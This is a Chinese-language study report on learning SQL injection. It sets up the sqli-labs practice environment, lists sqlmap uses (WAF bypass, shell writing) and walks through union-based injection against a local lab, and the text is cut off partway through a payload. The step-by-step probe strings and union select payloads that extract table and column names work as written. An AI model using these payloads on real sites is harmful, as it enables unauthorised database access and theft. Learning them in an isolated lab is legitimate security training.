信安任务(二):了解sql注入
一、任务内容
使用phpstudy,sqllibs搭建注入环境;学会sqlmap基本用法,熟练掌握联合查询的注入方法
二、任务完成情况
一、使用phpstudy,sqllibs搭建注入环境
1、在GitHub上面下载Sqli-labs的zip包。
2、解压到www文件夹下
3、配置sqli-labs的数据库,phpstudy的数据库默认用户名跟密码都是root,更改sqli-labs-master\sql-connections文件夹中db-creds.inc文件中的用户名密码为root。
4、我们在浏览器访问本机的ip/sqli-labs-master出现如下界面点击Setup/reset Database for labs进行数据库的配置
然后就可以开始进行练习了。。。
环境搭建完毕
二、学会sqlmap基本用法,熟练掌握联合查询的注入方法
1、首先下载sqlmap
2、再安装sqlmap到python的目录里
3、sqlmap的用法
详情参考这个大佬的博客一共有11种常见SQLmap使用方法:
一、SQLMAP用于Access数据库注入
二、SQLMAP用于Cookie注入
三、SQLMAP用于mysql中DDOS攻击
四、SQLMAP用于mysql注入
五、SQLMAP中post登陆框注入
六、SQLMAP中Google搜索注入
七、SQLMAP中的请求延迟
八、SQLMAP绕过WAF防火墙
九、SQLMAP查看权限
十、SQLMAP伪静态注入
十一、SQLMAP注入点执行命令与交互写shell
以上复制的十一种用法的详细网址:
https://www.cnblogs.com/ichunqiu/p/5805108.html
4、联合注入的用处和方法
1、判断注入点
我们在可能存在SQL注入变量的后边添加以下payload:
and 1=1 / and 1=2 回显页面不同(整形判断)
单引号判断‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
\ (转义符)
-1/+1 回显下一个或上一个页面(整型判断)
注:加号‘+’在URL中有特殊含义,因此在需要对其进行URL编码为%2b
2、判断是整型还是字符型
输入and 1=1和and 1=2后发现页面没有变化,判断不是整型注入
3、判断查询列数
输入 order by 4%23 发现页面错误,说明没有4列
输入3列时,页面正常,说明有3列
4、判断显示位
5、获取所有数据库名
6、获取数据库所有表名
http://127.0.0.1/sql/Less-1/?id=-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3%23
7、获取字段名
http://127.0.0.1/sql/Less-1/?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name='u